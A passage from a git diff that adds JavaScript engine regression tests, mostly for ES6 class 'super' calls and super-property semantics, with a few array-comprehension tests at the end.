+++ b/js/src/tests/ecma_6/Class/superCallSpreadCall.js
@@ -0,0 +1,27 @@
+class base {
+ constructor(a, b, c) {
+ assertEq(a, 1);
+ assertEq(b, 2);
+ assertEq(c, 3);
+ this.calledBase = true;
+ }
+}
+
+class doTest extends base {
+ constructor(arr) {
+ super(...arr);
+ }
+}
+
+assertEq(new doTest([1,2,3]).calledBase, true);
+
+class testRest extends base {
+ constructor(...args) {
+ super(...args);
+ }
+}
+
+assertEq(new testRest(1,2,3).calledBase, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallThisInit.js b/js/src/tests/ecma_6/Class/superCallThisInit.js
new file mode 100644
index 000000000..4154b3611
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superCallThisInit.js
@@ -0,0 +1,45 @@
+function base() { this.prop = 42; }
+
+class testInitialize extends base {
+ constructor() {
+ // A poor man's assertThrowsInstanceOf, as arrow functions are currently
+ // disabled in this context
+ try {
+ this;
+ throw new Error();
+ } catch (e if e instanceof ReferenceError) { }
+ super();
+ assertEq(this.prop, 42);
+ }
+}
+assertEq(new testInitialize().prop, 42);
+
+// super() twice is a no-go.
+class willThrow extends base {
+ constructor() {
+ super();
+ super();
+ }
+}
+assertThrowsInstanceOf(()=>new willThrow(), ReferenceError);
+
+// This is determined at runtime, not the syntax level.
+class willStillThrow extends base {
+ constructor() {
+ for (let i = 0; i < 3; i++) {
+ super();
+ }
+ }
+}
+assertThrowsInstanceOf(()=>new willStillThrow(), ReferenceError);
+
+class canCatchThrow extends base {
+ constructor() {
+ super();
+ try { super(); } catch(e) { }
+ }
+}
+assertEq(new canCatchThrow().prop, 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropBasicCalls.js b/js/src/tests/ecma_6/Class/superPropBasicCalls.js
new file mode 100644
index 000000000..29ed49319
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropBasicCalls.js
@@ -0,0 +1,27 @@
+// Super property (and calls) works in non-extending classes and object
+// litterals.
+class toStringTest {
+ constructor() {
+ // Install a property to make it plausible that it's the same this
+ this.foo = "rhinoceros";
+ }
+
+ test() {
+ assertEq(super.toSource(), super["toSource"]());
+ assertEq(super.toSource(), this.toSource());
+ }
+}
+
+new toStringTest().test();
+
+let toStrOL = {
+ test() {
+ assertEq(super.toSource(), super["toSource"]());
+ assertEq(super.toSource(), this.toSource());
+ }
+}
+
+toStrOL.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropBasicChain.js b/js/src/tests/ecma_6/Class/superPropBasicChain.js
new file mode 100644
index 000000000..12bf84820
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropBasicChain.js
@@ -0,0 +1,11 @@
+var o = {
+ access() {
+ super.foo.bar;
+ }
+};
+
+// Delazify
+assertThrowsInstanceOf(o.access, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropBasicGetter.js b/js/src/tests/ecma_6/Class/superPropBasicGetter.js
new file mode 100644
index 000000000..fe1f4eeee
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropBasicGetter.js
@@ -0,0 +1,36 @@
+class base {
+ constructor() {}
+
+ getValue() {
+ return this._prop;
+ }
+
+ setValue(v) {
+ this._prop = v;
+ }
+}
+
+class derived extends base {
+ constructor() { super(); }
+
+ get a() { return super.getValue(); }
+ set a(v) { super.setValue(v); }
+
+ get b() { return eval('super.getValue()'); }
+ set b(v) { eval('super.setValue(v);'); }
+
+ test() {
+ this.a = 15;
+ assertEq(this.a, 15);
+
+ assertEq(this.b, 15);
+ this.b = 30;
+ assertEq(this.b, 30);
+ }
+}
+
+var derivedInstance = new derived();
+derivedInstance.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropBasicNew.js b/js/src/tests/ecma_6/Class/superPropBasicNew.js
new file mode 100644
index 000000000..e1ca9b4ae
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropBasicNew.js
@@ -0,0 +1,17 @@
+class Base {
+ constructor() {}
+}
+class Mid extends Base {
+ constructor() { super(); }
+ f() { return new super.constructor(); }
+}
+class Derived extends Mid {
+ constructor() { super(); }
+}
+
+let d = new Derived();
+var df = d.f();
+assertEq(df.constructor, Base);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropChains.js b/js/src/tests/ecma_6/Class/superPropChains.js
new file mode 100644
index 000000000..e8c0de05c
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropChains.js
@@ -0,0 +1,58 @@
+// First, let's test the trivial. A chain of three works.
+class base {
+ constructor() { }
+ testChain() {
+ this.baseCalled = true;
+ }
+}
+
+class middle extends base {
+ constructor() { super(); }
+ testChain() {
+ this.middleCalled = true;
+ super.testChain();
+ }
+}
+
+class derived extends middle {
+ constructor() { super(); }
+ testChain() {
+ super.testChain();
+ assertEq(this.middleCalled, true);
+ assertEq(this.baseCalled, true);
+ }
+}
+
+new derived().testChain();
+
+// Super even chains in a wellbehaved fashion with normal functions.
+function bootlegMiddle() { }
+bootlegMiddle.prototype = middle.prototype;
+
+new class extends bootlegMiddle {
+ constructor() { super(); }
+ testChain() {
+ super.testChain();
+ assertEq(this.middleCalled, true);
+ assertEq(this.baseCalled, true);
+ }
+ }().testChain();
+
+// Now let's try out some "long" chains
+base.prototype.x = "yeehaw";
+
+let chain = class extends base { constructor() { super(); } }
+
+const CHAIN_LENGTH = 100;
+for (let i = 0; i < CHAIN_LENGTH; i++)
+ chain = class extends chain { constructor() { super(); } }
+
+// Now we poke the chain
+let inst = new chain();
+inst.testChain();
+assertEq(inst.baseCalled, true);
+
+assertEq(inst.x, "yeehaw");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropDVG.js b/js/src/tests/ecma_6/Class/superPropDVG.js
new file mode 100644
index 000000000..f187cb6ea
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropDVG.js
@@ -0,0 +1,17 @@
+// Super property accesses should play nice with the pretty printer.
+class testNonExistent {
+ constructor() {
+ super["prop"]();
+ }
+}
+// Should fold to super.prop
+assertThrownErrorContains(() => new testNonExistent(), 'super.prop');
+
+var ol = { testNonExistent() { super.prop(); } };
+assertThrownErrorContains(() => ol.testNonExistent(), "super.prop");
+
+var olElem = { testNonExistent() { var prop = "prop"; super[prop](); } };
+assertThrownErrorContains(() => olElem.testNonExistent(), "super[prop]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropDelete.js b/js/src/tests/ecma_6/Class/superPropDelete.js
new file mode 100644
index 000000000..44bf0d3f6
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropDelete.js
@@ -0,0 +1,46 @@
+// Make sure we get the proper side effects.
+// |delete super.prop| and |delete super[expr]| throw universally.
+
+class base {
+ constructor() { }
+}
+
+class derived extends base {
+ constructor() { super(); }
+ testDeleteProp() { delete super.prop; }
+ testDeleteElem() {
+ let sideEffect = 0;
+ assertThrowsInstanceOf(() => delete super[sideEffect = 1], ReferenceError);
+ assertEq(sideEffect, 1);
+ }
+ testDeleteElemPropValFirst() {
+ // The deletion error is a reference error, but by munging the prototype
+ // chain, we can force a typeerror from JSOP_SUPERBASE
+ delete super[Object.setPrototypeOf(derived.prototype, null)];
+ }
+}
+
+var d = new derived();
+assertThrowsInstanceOf(() => d.testDeleteProp(), ReferenceError);
+d.testDeleteElem();
+assertThrowsInstanceOf(() => d.testDeleteElemPropValFirst(), TypeError);
+
+// |delete super.x| does not delete anything before throwing.
+var thing1 = {
+ go() { delete super.toString; }
+};
+let saved = Object.prototype.toString;
+assertThrowsInstanceOf(() => thing1.go(), ReferenceError);
+assertEq(Object.prototype.toString, saved);
+
+// |delete super.x| does not tell the prototype to delete anything, when it's a proxy.
+var thing2 = {
+ go() { delete super.prop; }
+};
+Object.setPrototypeOf(thing2, new Proxy({}, {
+ deleteProperty(x) { throw "FAIL"; }
+}));
+assertThrowsInstanceOf(() => thing2.go(), ReferenceError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropDerivedCalls.js b/js/src/tests/ecma_6/Class/superPropDerivedCalls.js
new file mode 100644
index 000000000..1a8a03605
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropDerivedCalls.js
@@ -0,0 +1,77 @@
+let derivedInstance;
+
+class base {
+ constructor() { }
+ method(a, b, c) {
+ assertEq(this, derivedInstance);
+ this.methodCalled = true;
+ assertEq(a, 1);
+ assertEq(b, 2);
+ assertEq(c, 3);
+ }
+
+ get prop() {
+ assertEq(this, derivedInstance);
+ this.getterCalled = true;
+ return this._prop;
+ }
+
+ set prop(val) {
+ assertEq(this, derivedInstance);
+ this.setterCalled = true;
+ this._prop = val;
+ }
+}
+
+class derived extends base {
+ constructor() { super(); }
+
+ // |super| actually checks the chain, not |this|
+ method() { throw "FAIL"; }
+ get prop() { throw "FAIL"; }
+ set prop(v) { throw "FAIL"; }
+
+ test() {
+ this.reset();
+ // While we're here. Let's check on super spread calls...
+ let spread = [1,2,3];
+ super.method(...spread);
+ super.prop++;
+ this.asserts();
+ }
+
+ testInEval() {
+ this.reset();
+ eval("super.method(1,2,3); super.prop++");
+ this.asserts();
+ }
+
+ testInArrow() {
+ this.reset();
+ (() => (super.method(1,2,3), super.prop++))();
+ this.asserts();
+ }
+
+ reset() {
+ this._prop = 0;
+ this.methodCalled = false;
+ this.setterCalled = false;
+ this.getterCalled = false;
+ }
+
+ asserts() {
+ assertEq(this.methodCalled, true);
+ assertEq(this.getterCalled, true);
+ assertEq(this.setterCalled, true);
+ assertEq(this._prop, 1);
+ }
+
+}
+
+derivedInstance = new derived();
+derivedInstance.test();
+derivedInstance.testInEval();
+derivedInstance.testInArrow();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropDestructuring.js b/js/src/tests/ecma_6/Class/superPropDestructuring.js
new file mode 100644
index 000000000..84d1bb517
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropDestructuring.js
@@ -0,0 +1,43 @@
+class base {
+ constructor() { }
+}
+
+let seenValues;
+Object.defineProperty(base.prototype, "minutes",
+ {
+ set(x) {
+ assertEq(x, 525600);
+ seenValues.push(x);
+ }
+ });
+Object.defineProperty(base.prototype, "intendent",
+ {
+ set(x) {
+ assertEq(x, "Fred");
+ seenValues.push(x)
+ }
+ });
+
+const testArr = [525600, "Fred"];
+class derived extends base {
+ constructor() { super(); }
+ prepForTest() { seenValues = []; }
+ testAsserts() { assertDeepEq(seenValues, testArr); }
+ testProps() {
+ this.prepForTest();
+ [super.minutes, super.intendent] = testArr;
+ this.testAsserts();
+ }
+ testElems() {
+ this.prepForTest();
+ [super["minutes"], super["intendent"]] = testArr;
+ this.testAsserts();
+ }
+}
+
+let d = new derived();
+d.testProps();
+d.testElems();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropEvalInsideArrow.js b/js/src/tests/ecma_6/Class/superPropEvalInsideArrow.js
new file mode 100644
index 000000000..882f93ba0
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropEvalInsideArrow.js
@@ -0,0 +1,11 @@
+class foo {
+ constructor() { }
+
+ method() {
+ return (() => eval('super.toString'));
+ }
+}
+assertEq(new foo().method()(), Object.prototype.toString);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropEvalInsideNested.js b/js/src/tests/ecma_6/Class/superPropEvalInsideNested.js
new file mode 100644
index 000000000..04cdab049
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropEvalInsideNested.js
@@ -0,0 +1,13 @@
+// It's invalid to eval super.prop inside a nested non-method, even if it
+// appears inside a method definition
+assertThrowsInstanceOf(() =>
+({
+ method() {
+ (function () {
+ eval('super.toString');
+ })();
+ }
+}).method(), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropFor.js b/js/src/tests/ecma_6/Class/superPropFor.js
new file mode 100644
index 000000000..23b222cb3
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropFor.js
@@ -0,0 +1,25 @@
+class testForIn {
+ constructor() {
+ let hits = 0;
+ for (super.prop in { prop1: 1, prop2: 2 })
+ hits++;
+ assertEq(this.prop, "prop2");
+ assertEq(hits, 2);
+ }
+}
+
+new testForIn();
+
+
+({
+ testForOf() {
+ let hits = 0;
+ for (super["prop"] of [1, 2])
+ hits++;
+ assertEq(this.prop, 2);
+ assertEq(hits, 2);
+ }
+}).testForOf();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropHeavyweightArrow.js b/js/src/tests/ecma_6/Class/superPropHeavyweightArrow.js
new file mode 100644
index 000000000..ce30690d5
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropHeavyweightArrow.js
@@ -0,0 +1,12 @@
+class foo {
+ constructor() { }
+
+ method() {
+ return (() => (eval(''), super.toString));
+ }
+}
+
+assertEq(new foo().method()(), Object.prototype.toString);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropHomeObject.js b/js/src/tests/ecma_6/Class/superPropHomeObject.js
new file mode 100644
index 000000000..7694ae852
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropHomeObject.js
@@ -0,0 +1,62 @@
+// This is super weird. A super property reference in the spec contains two
+// things. The first is the object to do the lookup on, the super base. This
+// should be unchanged, no matter what's going on: I can move the method to
+// another object. I can pull it out as its own function. I can put it on my
+// head and run around the front yard. No changes. The other half, the |this|
+// for invoked calls, is the this at the time of referencing the property, which
+// means it's gonna vary wildly as stuff gets moved around.
+
+class base {
+ constructor() { }
+ test(expectedThis) { assertEq(this, expectedThis); }
+}
+
+class derived extends base {
+ constructor() { super(); }
+ test(expected) { super.test(expected); }
+ testArrow() { return (() => super.test(this)); }
+ ["testCPN"](expected) { super.test(expected); }
+}
+
+let derivedInstance = new derived();
+derivedInstance.test(derivedInstance);
+derivedInstance.testCPN(derivedInstance);
+
+let obj = { test: derivedInstance.test };
+obj.test(obj);
+
+let testSolo = derivedInstance.test;
+// Hah! The engine is not prepared for non-object receivers, since this couldn't
+// happen before. Hope Waldo fixes this soon as he claims he will :)
+assertThrowsInstanceOf(() =>testSolo(undefined), TypeError);
+
+let anotherObject = { };
+derivedInstance.test.call(anotherObject, anotherObject);
+
+let strThis = "this is not an object!";
+derivedInstance.test.call(strThis, strThis);
+
+// You can take the arrow function out of the super, ... or something like that
+let arrowTest = derivedInstance.testArrow();
+arrowTest();
+
+// There's no magic "super script index" per code location.
+class base1 {
+ constructor() { }
+ test() { return "llama"; }
+}
+class base2 {
+ constructor() { }
+ test() { return "alpaca"; }
+}
+
+let animals = [];
+for (let exprBase of [base1, base2])
+ new class extends exprBase {
+ constructor() { super(); }
+ test() { animals.push(super["test"]()); }
+ }().test();
+assertDeepEq(animals, ["llama", "alpaca"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropIncDecElem.js b/js/src/tests/ecma_6/Class/superPropIncDecElem.js
new file mode 100644
index 000000000..a7b93eb37
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropIncDecElem.js
@@ -0,0 +1,24 @@
+// #1
+function base() { }
+
+base.prototype = {
+ test() {
+ --super[1];
+ }
+}
+
+var d = new base();
+d.test();
+
+// #2
+class test2 {
+ test() {
+ super[1]++;
+ }
+}
+
+var d = new test2();
+d.test()
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropLazyInnerFunction.js b/js/src/tests/ecma_6/Class/superPropLazyInnerFunction.js
new file mode 100644
index 000000000..d7a441f93
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropLazyInnerFunction.js
@@ -0,0 +1,19 @@
+testcase();
+function testcase() {
+ var tokenCodes = {
+ get try() {
+ try {
+ super.actual();
+ } catch (e) {}
+ }
+ };
+ var arr = [
+ 'try',
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {};
+ }
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropNoOverwriting.js b/js/src/tests/ecma_6/Class/superPropNoOverwriting.js
new file mode 100644
index 000000000..db44b509c
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropNoOverwriting.js
@@ -0,0 +1,58 @@
+class X {
+ constructor() {
+ Object.defineProperty(this, "prop1", {
+ configurable: true,
+ writable: false,
+ value: 1
+ });
+
+ Object.defineProperty(this, "prop2", {
+ configurable: true,
+ get: function() { return 15; }
+ });
+
+ Object.defineProperty(this, "prop3", {
+ configurable: true,
+ set: function(a) { }
+ });
+
+ Object.defineProperty(this, "prop4", {
+ configurable: true,
+ get: function() { return 20; },
+ set: function(a) { }
+ });
+ }
+
+ f1() {
+ super.prop1 = 2;
+ }
+
+ f2() {
+ super.prop2 = 3;
+ }
+
+ f3() {
+ super.prop3 = 4;
+ }
+
+ f4() {
+ super.prop4 = 5;
+ }
+}
+
+var x = new X();
+
+assertThrowsInstanceOf(() => x.f1(), TypeError);
+assertEq(x.prop1, 1);
+
+assertThrowsInstanceOf(() => x.f2(), TypeError);
+assertEq(x.prop2, 15);
+
+assertThrowsInstanceOf(() => x.f3(), TypeError);
+assertEq(x.prop3, undefined);
+
+assertThrowsInstanceOf(() => x.f4(), TypeError);
+assertEq(x.prop4, 20);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropOrdering.js b/js/src/tests/ecma_6/Class/superPropOrdering.js
new file mode 100644
index 000000000..1374d52c1
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropOrdering.js
@@ -0,0 +1,93 @@
+class base {
+ constructor() { }
+ method() { this.methodCalled++; }
+}
+
+class derived extends base {
+ constructor() { super(); this.methodCalled = 0; }
+
+ // Test orderings of various evaluations relative to the superbase
+
+ // Unlike in regular element evaluation, the propVal is evaluated before
+ // checking the starting object ([[HomeObject]].[[Prototype]])
+ testElem() { super[ruin()]; }
+
+ // The starting object for looking up super.method is determined before
+ // ruin() is called.
+ testProp() { super.method(ruin()); }
+
+ // The entire super.method property lookup has concluded before the args
+ // are evaluated
+ testPropCallDeleted() { super.method(()=>delete base.prototype.method); }
+
+ // The starting object for looking up super["prop"] is determined before
+ // ruin() is called.
+ testElemAssign() { super["prop"] = ruin(); }
+
+ // Test the normal assignment gotchas
+ testAssignElemPropValChange() {
+ let x = "prop1";
+ super[x] = (()=>(x = "prop2", 0))();
+ assertEq(this.prop1, 0);
+ assertEq(this.prop2, undefined);
+ }
+
+ testAssignProp() {
+ Object.defineProperty(base.prototype, "piggy",
+ {
+ configurable: true,
+ set() { throw "WEE WEE WEE WEE"; }
+ });
+
+ // The property lookup is noted, but not actually evaluated, until the
+ // right hand side is. Please don't make the piggy cry.
+ super.piggy = (() => delete base.prototype.piggy)();
+ }
+ testCompoundAssignProp() {
+ let getterCalled = false;
+ Object.defineProperty(base.prototype, "horse",
+ {
+ configurable: true,
+ get() { getterCalled = true; return "Of course"; },
+ set() { throw "NO!"; }
+ });
+ super.horse += (()=>(delete base.prototype.horse, ", of course!"))();
+ assertEq(getterCalled, true);
+
+ // So, is a horse a horse?
+ assertEq(this.horse, "Of course, of course!");
+ }
+}
+
+function ruin() {
+ Object.setPrototypeOf(derived.prototype, null);
+ return 5;
+}
+
+function reset() {
+ Object.setPrototypeOf(derived.prototype, base.prototype);
+}
+
+let instance = new derived();
+assertThrowsInstanceOf(() => instance.testElem(), TypeError);
+reset();
+
+instance.testProp();
+assertEq(instance.methodCalled, 1);
+reset();
+
+instance.testPropCallDeleted();
+assertEq(instance.methodCalled, 2);
+
+instance.testElemAssign();
+assertEq(instance.prop, 5);
+reset();
+
+instance.testAssignElemPropValChange();
+
+instance.testAssignProp();
+
+instance.testCompoundAssignProp();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropProtoChanges.js b/js/src/tests/ecma_6/Class/superPropProtoChanges.js
new file mode 100644
index 000000000..d16ca1665
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropProtoChanges.js
@@ -0,0 +1,22 @@
+class base {
+ constructor() { }
+ test() {
+ return false;
+ }
+}
+
+let standin = { test() { return true; } };
+
+class derived extends base {
+ constructor() { super(); }
+ test() {
+ assertEq(super.test(), false);
+ Object.setPrototypeOf(derived.prototype, standin);
+ assertEq(super["test"](), true);
+ }
+}
+
+new derived().test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropProxies.js b/js/src/tests/ecma_6/Class/superPropProxies.js
new file mode 100644
index 000000000..3ec43b279
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropProxies.js
@@ -0,0 +1,83 @@
+class base {
+ constructor() { }
+}
+
+let midStaticHandler = { };
+
+// We shouldn't use the |this.called| strategy here, since we have proxies
+// snooping property accesses.
+let getterCalled, setterCalled;
+
+class mid extends new Proxy(base, midStaticHandler) {
+ constructor() { super(); }
+ testSuperInProxy() {
+ super.prop = "looking";
+ assertEq(setterCalled, true);
+ assertEq(super.prop, "found");
+ assertEq(getterCalled, true);
+ }
+}
+
+class child extends mid {
+ constructor() { super(); }
+ static testStaticLookups() {
+ // This funtion is called more than once.
+ this.called = false;
+ super.prop;
+ assertEq(this.called, true);
+ }
+}
+
+let midInstance = new mid();
+
+// Make sure proxies are searched properly on the prototype chain
+let baseHandler = {
+ get(target, p, receiver) {
+ assertEq(receiver, midInstance);
+ getterCalled = true;
+ return "found";
+ },
+
+ set(t,p,val,receiver) {
+ assertEq(receiver, midInstance);
+ assertEq(val, "looking");
+ setterCalled = true;
+ return true;
+ }
+}
+Object.setPrototypeOf(base.prototype, new Proxy(Object.prototype, baseHandler));
+
+// make sure subclasses are not searched on static or super lookups.
+let childHandler = {
+ get() { throw "NO!"; },
+ set() { throw "NO!"; }
+}
+Object.setPrototypeOf(child.prototype, new Proxy(mid.prototype, childHandler));
+
+midInstance.testSuperInProxy();
+
+// Don't do this earlier to avoid the lookup of .prototype during class creation
+function midGet(target, p, receiver) {
+ assertEq(receiver, child);
+ receiver.called = true;
+}
+midStaticHandler.get = midGet;
+
+child.testStaticLookups();
+
+// Hey does super work in a proxy?
+assertEq(new Proxy(({ method() { return super.hasOwnProperty("method"); } }), {}).method(), true);
+
+// What about a CCW?
+var g = newGlobal();
+var wrappedSuper = g.eval("({ method() { return super.hasOwnProperty('method'); } })");
+assertEq(wrappedSuper.method(), true);
+
+// With a CCW on the proto chain?
+var wrappedBase = g.eval("({ method() { return this.__secretProp__; } })");
+var unwrappedDerived = { __secretProp__: 42, method() { return super.method(); } }
+Object.setPrototypeOf(unwrappedDerived, wrappedBase);
+assertEq(unwrappedDerived.method(), 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropSkips.js b/js/src/tests/ecma_6/Class/superPropSkips.js
new file mode 100644
index 000000000..c9587c72f
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropSkips.js
@@ -0,0 +1,45 @@
+// Ensure that super lookups and sets skip over properties on the |this| object.
+// That is, super lookups start with the superclass, not the current class.
+
+// The whole point: an empty superclass
+class base {
+ constructor() { }
+}
+
+class derived extends base {
+ constructor() { super(); this.prop = "flamingo"; }
+
+ toString() { throw "No!"; }
+
+ testSkipGet() {
+ assertEq(super.prop, undefined);
+ }
+
+ testSkipDerivedOverrides() {
+ assertEq(super["toString"](), Object.prototype.toString.call(this));
+ }
+
+ testSkipSet() {
+ // since there's no prop on the chain, we should set the data property
+ // on the receiver, |this|
+ super.prop = "rat";
+ assertEq(this.prop, "rat");
+
+ // Since the receiver is the instance, we can overwrite inherited
+ // properties of the instance, even non-writable ones, as they could be
+ // skipped in the super lookup.
+ assertEq(this.nonWritableProp, "pony");
+ super.nonWritableProp = "bear";
+ assertEq(this.nonWritableProp, "bear");
+ }
+}
+
+Object.defineProperty(derived.prototype, "nonWritableProp", { writable: false, value: "pony" });
+
+let instance = new derived();
+instance.testSkipGet();
+instance.testSkipDerivedOverrides();
+instance.testSkipSet();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropStatics.js b/js/src/tests/ecma_6/Class/superPropStatics.js
new file mode 100644
index 000000000..32624b5d2
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropStatics.js
@@ -0,0 +1,34 @@
+class base {
+ constructor() { }
+ static found() {
+ this.foundCalled = true;
+ }
+ static get accessor() {
+ assertEq(this, derived);
+ return 45;
+ }
+ notFound() { }
+}
+
+class derived extends base {
+ constructor() { }
+
+ static found() { throw "NO!"; }
+ static get accessor() { throw "NO!"; }
+
+ static test() {
+ assertEq(super["notFound"], undefined);
+ super.found();
+
+ // foundCalled is set on |derived| specifically.
+ let calledDesc = Object.getOwnPropertyDescriptor(derived, "foundCalled");
+ assertEq(calledDesc.value, true);
+
+ assertEq(super.accessor, 45);
+ }
+}
+
+derived.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superPropStrictAssign.js b/js/src/tests/ecma_6/Class/superPropStrictAssign.js
new file mode 100644
index 000000000..4b5444a3c
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superPropStrictAssign.js
@@ -0,0 +1,23 @@
+// While |super| is common in classes, it also works in object litterals,
+// where there is no guarantee of strict mode. Check that we do not somehow
+// get strict mode semantics when they were not called for
+
+// |undefined|, writable: false
+Object.defineProperty(Object.prototype, "prop", { writable: false });
+
+class strictAssignmentTest {
+ constructor() {
+ // Strict mode. Throws.
+ super.prop = 14;
+ }
+}
+
+assertThrowsInstanceOf(()=>new strictAssignmentTest(), TypeError);
+
+// Non-strict. Silent failure.
+({ test() { super.prop = 14; } }).test();
+
+assertEq(Object.prototype.prop, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/uninitializedThisError.js b/js/src/tests/ecma_6/Class/uninitializedThisError.js
new file mode 100644
index 000000000..cbc557285
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/uninitializedThisError.js
@@ -0,0 +1,57 @@
+function checkErr(f, className) {
+ var expected;
+ if (className !== "")
+ expected = "|this| used uninitialized in " + className + " class constructor";
+ else
+ expected = "|this| used uninitialized in arrow function in class constructor";
+ try {
+ f();
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq(e.name, "ReferenceError");
+ assertEq(e.message, expected);
+ }
+}
+class TestNormal extends class {} {
+ constructor() { this; }
+}
+checkErr(() => new TestNormal(), "TestNormal");
+
+class TestEval extends class {} {
+ constructor() { eval("this") }
+}
+checkErr(() => new TestEval(), "TestEval");
+
+class TestNestedEval extends class {} {
+ constructor() { eval("eval('this')") }
+}
+checkErr(() => new TestNestedEval(), "TestNestedEval");
+
+checkErr(() => {
+ new class extends class {} {
+ constructor() { eval("this") }
+ }
+}, "anonymous");
+
+class TestArrow extends class {} {
+ constructor() { (() => this)(); }
+}
+checkErr(() => new TestArrow(), "");
+
+class TestArrowEval extends class {} {
+ constructor() { (() => eval("this"))(); }
+}
+checkErr(() => new TestArrowEval(), "");
+
+class TestEvalArrow extends class {} {
+ constructor() { eval("(() => this)()"); }
+}
+checkErr(() => new TestEvalArrow(), "");
+
+class TestTypeOf extends class {} {
+ constructor() { eval("typeof this"); }
+}
+checkErr(() => new TestTypeOf(), "TestTypeOf");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Comprehensions/arguments.js b/js/src/tests/ecma_6/Comprehensions/arguments.js
new file mode 100644
index 000000000..082374778
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/arguments.js
@@ -0,0 +1,14 @@
+
+
+function values(g) {
+ return [for (x of g) x];
+}
+
+function argumentsTest() {
+ return values((for (i of [0,1,2]) arguments[i]));
+}
+
+assertDeepEq(argumentsTest('a', 'b', 'c'), ['a', 'b', 'c']);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Comprehensions/array-yield.js b/js/src/tests/ecma_6/Comprehensions/array-yield.js
new file mode 100644
index 000000000..69e699522
--- /dev/null
+++ b/js/src/tests/ecma_6/Comprehensions/array-yield.js
@@ -0,0 +1,23 @@
+// Interactions between yield and array comprehensions.
+
+
+function assertIteratorResult(result, value, done) {
+ assertDeepEq(result.value, value);
+ assertEq(result.done, done);
+}
+
+function* t1() { return [for (x of yield 0) x*2] }
+
+var o = t1();
+assertIteratorResult(o.next(), 0, false);
+assertIteratorResult(o.next([0, 1, 2]), [0, 2, 4], true);
+
+function* t2() { return [for (x of [1,2,3]) yield x] }
+
+o = t2();
+assertIteratorResult(o.next(), 1, false);
